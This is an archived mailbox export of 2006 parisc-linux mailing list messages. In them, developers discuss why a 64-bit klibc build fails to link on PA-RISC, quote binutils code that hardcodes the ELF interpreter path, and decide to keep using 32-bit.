Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jul 2006 19:50:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 24 Jul 2006 21:50:57 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EFBDF7D79E;
	Mon, 24 Jul 2006 13:50:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22284-05; Mon, 24 Jul 2006 13:50:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 14D4D7D78D;
	Mon, 24 Jul 2006 13:50:49 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B64307D776
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 13:50:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22295-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 13:50:42 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 8CEF17D770
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 13:50:42 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k6OJof4J001092;
	Mon, 24 Jul 2006 15:50:41 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k6OJoesc001091;
	Mon, 24 Jul 2006 15:50:40 -0400 (EDT)
In-Reply-To: <20060724192820.GF15566@athena.road.mcmartin.ca> from "Kyle
	McMartin" at Jul 24, 2006 03:28:20 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: zEmnEPVWbXBtrLqHPTQ2+tYqLyUmZch3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23869

> Interesting. So I fetched the cmdline used to build some of the static
> test programs from klibc out of a 32-bit parisc build, and edited them
> in the relevant ways to build for 64-bit. The outputted executable when
> examined with "file" claimed to be "dynamically linked (uses shared libs)"
> and would return "No such file or directory" when executed, implying that
> it wasn't linked properly.

Under hpux, non-dynamic executables aren't supported (i.e., we always
need an interpreter).  The dynamic loader defines some linker-defined
symbols that we don't have support for in the linker itself.  There may
be other reasons...

Thus, dynamically linked doesn't imply the presence of shared libraries.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [klibc] [parisc-linux] klibc parisc64
Date: Mon, 24 Jul 2006 15:41:50 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <44C54CAE.5050302@zytor.com>
References: <200607241935.k6OJZkNs000939@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624146 20608 80.91.229.3 (22 Nov 2014 02:42:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:26 +0000 (UTC)
Cc: klibc@zytor.com,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jul 2006 22:42:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx022) with SMTP; 25 Jul 2006 00:42:10 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A7E5C7D745;
	Mon, 24 Jul 2006 16:42:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23320-08; Mon, 24 Jul 2006 16:42:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B80C07D731;
	Mon, 24 Jul 2006 16:42:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6B1A27D72A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 16:42:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23314-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 16:42:00 -0600 (MDT)
Original-Received: from terminus.zytor.com (terminus.zytor.com [192.83.249.54])
	by free.linux.hp.com (Postfix) with ESMTP id 472B67D729
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 16:42:00 -0600 (MDT)
Original-Received: from [10.0.6.0] (VIP-C2-Microsystems-inc-1145750.cust-rtr.swbell.net
	[75.26.142.26]) (authenticated bits=0)
	by terminus.zytor.com (8.13.7/8.13.4) with ESMTP id k6OMfoJk013143
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Mon, 24 Jul 2006 15:41:51 -0700
User-Agent: Thunderbird 1.5.0.4 (X11/20060614)
In-Reply-To: <200607241935.k6OJZkNs000939@hiauly1.hia.nrc.ca>
X-Virus-Scanned: ClamAV version 0.88.3,
	clamav-milter version 0.88.3 on localhost
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00 autolearn=ham 
	version=3.0.6
X-Spam-Checker-Version: SpamAssassin 3.0.6 (2005-12-07) on terminus.zytor.com
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: pSWwd4ZDODBpsLWUfGRMRPU1Ji9SWpIa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23870

John David Anglin wrote:
>>> hppa64-linux-gnu-ld: usr/klibc/libc.so: Not enough room for program headers (allocated 5, need 6)
> 
> Additional phdrs are provided by elf64_hppa_additional_program_headers
> in bfd/elf64-hppa.c.  The code doesn't expect a .interp section in
> a shared library.  That would appear to be the problem here.
> 

(k)libc.so isn't a shared library in the ELF sense.  It's an executable.

klibc doesn't do dynamic linking at all.  As Dave said, dynamically 
linked doesn't imply the presence of shared libraries; the converse is 
also true.

	-hpa

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [klibc] [parisc-linux] klibc parisc64
Date: Mon, 24 Jul 2006 15:55:56 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <44C54FFC.1070807@zytor.com>
References: <200607241935.k6OJZkNs000939@hiauly1.hia.nrc.ca>
	<44C54CAE.5050302@zytor.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624147 20611 80.91.229.3 (22 Nov 2014 02:42:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:27 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 klibc@zytor.com,
 parisc-linux@lists.parisc-linux.org
To: "H. Peter Anvin" <hpa@zytor.com>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jul 2006 22:56:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx070) with SMTP; 25 Jul 2006 00:56:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D8A57D74A;
	Mon, 24 Jul 2006 16:56:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23654-08; Mon, 24 Jul 2006 16:56:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B4557D74C;
	Mon, 24 Jul 2006 16:56:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 100A67D747
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 16:56:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23656-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 16:56:07 -0600 (MDT)
Original-Received: from terminus.zytor.com (terminus.zytor.com [192.83.249.54])
	by free.linux.hp.com (Postfix) with ESMTP id E29E37D737
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 16:56:06 -0600 (MDT)
Original-Received: from [10.0.6.0] (VIP-C2-Microsystems-inc-1145750.cust-rtr.swbell.net
	[75.26.142.26]) (authenticated bits=0)
	by terminus.zytor.com (8.13.7/8.13.4) with ESMTP id k6OMtujg013567
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Mon, 24 Jul 2006 15:55:57 -0700
User-Agent: Thunderbird 1.5.0.4 (X11/20060614)
In-Reply-To: <44C54CAE.5050302@zytor.com>
X-Virus-Scanned: ClamAV version 0.88.3,
	clamav-milter version 0.88.3 on localhost
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00 autolearn=ham 
	version=3.0.6
X-Spam-Checker-Version: SpamAssassin 3.0.6 (2005-12-07) on terminus.zytor.com
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WBajLt0AaHI+vqWnKSUlYaZqamdhZAT6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23871

H. Peter Anvin wrote:
> 
> (k)libc.so isn't a shared library in the ELF sense.  It's an executable.
> 

... specifically, as far as ELF (and the kernel) is concerned, it's the 
ELF interpreter; it's linked at a fixed address and the application 
invokes it with usual static jumps.

Very similar to old Linux a.out stuff.  Messy and primitive, but very fast.

	-hpa
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [klibc] [parisc-linux] klibc parisc64
Date: Mon, 24 Jul 2006 19:11:21 -0400 (EDT)
Lines: 37
Approved: news@gmane.org
Message-ID: <200607242311.k6ONBMY0004933@hiauly1.hia.nrc.ca>
References: <44C54FFC.1070807@zytor.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624147 20614 80.91.229.3 (22 Nov 2014 02:42:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:27 +0000 (UTC)
Cc: klibc@zytor.com,
 parisc-linux@lists.parisc-linux.org,
 hpa@zytor.com
To: hpa@zytor.com (H. Peter Anvin)
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jul 2006 23:11:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx093) with SMTP; 25 Jul 2006 01:11:36 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 34D3D7D756;
	Mon, 24 Jul 2006 17:11:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23990-05; Mon, 24 Jul 2006 17:11:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 56AF87D745;
	Mon, 24 Jul 2006 17:11:29 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 43E597D73A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 17:11:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23964-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 17:11:24 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 1A3CA7D734
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 17:11:24 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k6ONBMB0004935;
	Mon, 24 Jul 2006 19:11:23 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k6ONBMY0004933;
	Mon, 24 Jul 2006 19:11:22 -0400 (EDT)
In-Reply-To: <44C54FFC.1070807@zytor.com> from "H. Peter Anvin" at Jul 24,
	2006 03:55:56 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: n2vwcP88Rkkei6uPfGRqN6xmdWkvKBPV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23872

> H. Peter Anvin wrote:
> > 
> > (k)libc.so isn't a shared library in the ELF sense.  It's an executable.
> > 
> 
> ... specifically, as far as ELF (and the kernel) is concerned, it's the 
> ELF interpreter; it's linked at a fixed address and the application 
> invokes it with usual static jumps.

"Usual static jumps"?  There's nothing usual about static jumps on
the PA ;(  However, it should be possible to jump to a static address
with the right setup.

The 64-bit linker hasn't really been ported to linux.  The interpreter
section is hardcoded to ELF_DYNAMIC_INTERPRETER:

#define ELF_DYNAMIC_INTERPRETER "/usr/lib/pa20_64/dld.sl"

      /* Set the contents of the .interp section to the interpreter.  */
      if (info->executable)
	{
	  s = bfd_get_section_by_name (dynobj, ".interp");
	  BFD_ASSERT (s != NULL);
	  s->size = sizeof ELF_DYNAMIC_INTERPRETER;
	  s->contents = (unsigned char *) ELF_DYNAMIC_INTERPRETER;
	}

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [klibc] [parisc-linux] klibc parisc64
Date: Mon, 24 Jul 2006 16:17:13 -0700
Lines: 37
Approved: news@gmane.org
Message-ID: <44C554F9.9020402@zytor.com>
References: <200607242311.k6ONBMY0004933@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624147 20617 80.91.229.3 (22 Nov 2014 02:42:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:27 +0000 (UTC)
Cc: klibc@zytor.com,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Jul 2006 23:17:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx082) with SMTP; 25 Jul 2006 01:17:33 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 88A867D76B;
	Mon, 24 Jul 2006 17:17:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24343-03; Mon, 24 Jul 2006 17:17:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7A9EF7D75B;
	Mon, 24 Jul 2006 17:17:29 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F2BD27D744
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 17:17:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23964-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 17:17:23 -0600 (MDT)
Original-Received: from terminus.zytor.com (terminus.zytor.com [192.83.249.54])
	by free.linux.hp.com (Postfix) with ESMTP id D14D87D734
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Jul 2006 17:17:23 -0600 (MDT)
Original-Received: from [10.0.6.0] (VIP-C2-Microsystems-inc-1145750.cust-rtr.swbell.net
	[75.26.142.26]) (authenticated bits=0)
	by terminus.zytor.com (8.13.7/8.13.4) with ESMTP id k6ONHDRg014328
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Mon, 24 Jul 2006 16:17:14 -0700
User-Agent: Thunderbird 1.5.0.4 (X11/20060614)
In-Reply-To: <200607242311.k6ONBMY0004933@hiauly1.hia.nrc.ca>
X-Virus-Scanned: ClamAV version 0.88.3,
	clamav-milter version 0.88.3 on localhost
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00 autolearn=ham 
	version=3.0.6
X-Spam-Checker-Version: SpamAssassin 3.0.6 (2005-12-07) on terminus.zytor.com
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Omf8fINDYW0+truGbmZpPL50amthc5vv
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23873

John David Anglin wrote:
>> H. Peter Anvin wrote:
>>> (k)libc.so isn't a shared library in the ELF sense.  It's an executable.
>>>
>> ... specifically, as far as ELF (and the kernel) is concerned, it's the 
>> ELF interpreter; it's linked at a fixed address and the application 
>> invokes it with usual static jumps.
> 
> "Usual static jumps"?  There's nothing usual about static jumps on
> the PA ;(  However, it should be possible to jump to a static address
> with the right setup.
> 
> The 64-bit linker hasn't really been ported to linux.  The interpreter
> section is hardcoded to ELF_DYNAMIC_INTERPRETER:
> 
> #define ELF_DYNAMIC_INTERPRETER "/usr/lib/pa20_64/dld.sl"
> 
>       /* Set the contents of the .interp section to the interpreter.  */
>       if (info->executable)
> 	{
> 	  s = bfd_get_section_by_name (dynobj, ".interp");
> 	  BFD_ASSERT (s != NULL);
> 	  s->size = sizeof ELF_DYNAMIC_INTERPRETER;
> 	  s->contents = (unsigned char *) ELF_DYNAMIC_INTERPRETER;
> 	}
> 

OK, well then it's probably pointless to try to get 64-bit klibc up and 
running on it at this point.  That's fine, though; we can just use 32-bit.

	-hpa
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Bailey <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Duplicate ustat structure
Date: Mon, 24 Jul 2006 20:47:52 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <1153788472.7679.2.camel@localhost.localdomain>
References: <20060716160300.GA27091@titanium.v3.ca>
	<jeodvpbj2k.fsf@sykes.suse.de> <20060716170725.GA29459@titanium.v3.ca>
	<119aab440607161313h4c196882gab171b4614957b7c@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  CHARSET=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416624148 20619 80.91.229.3 (22 Nov 2014 02:42:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:28 +0000 (UTC)
Cc: Andreas Schwab <schwab@suse.de>,
 libc-ports@sources.redhat.com,
 parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
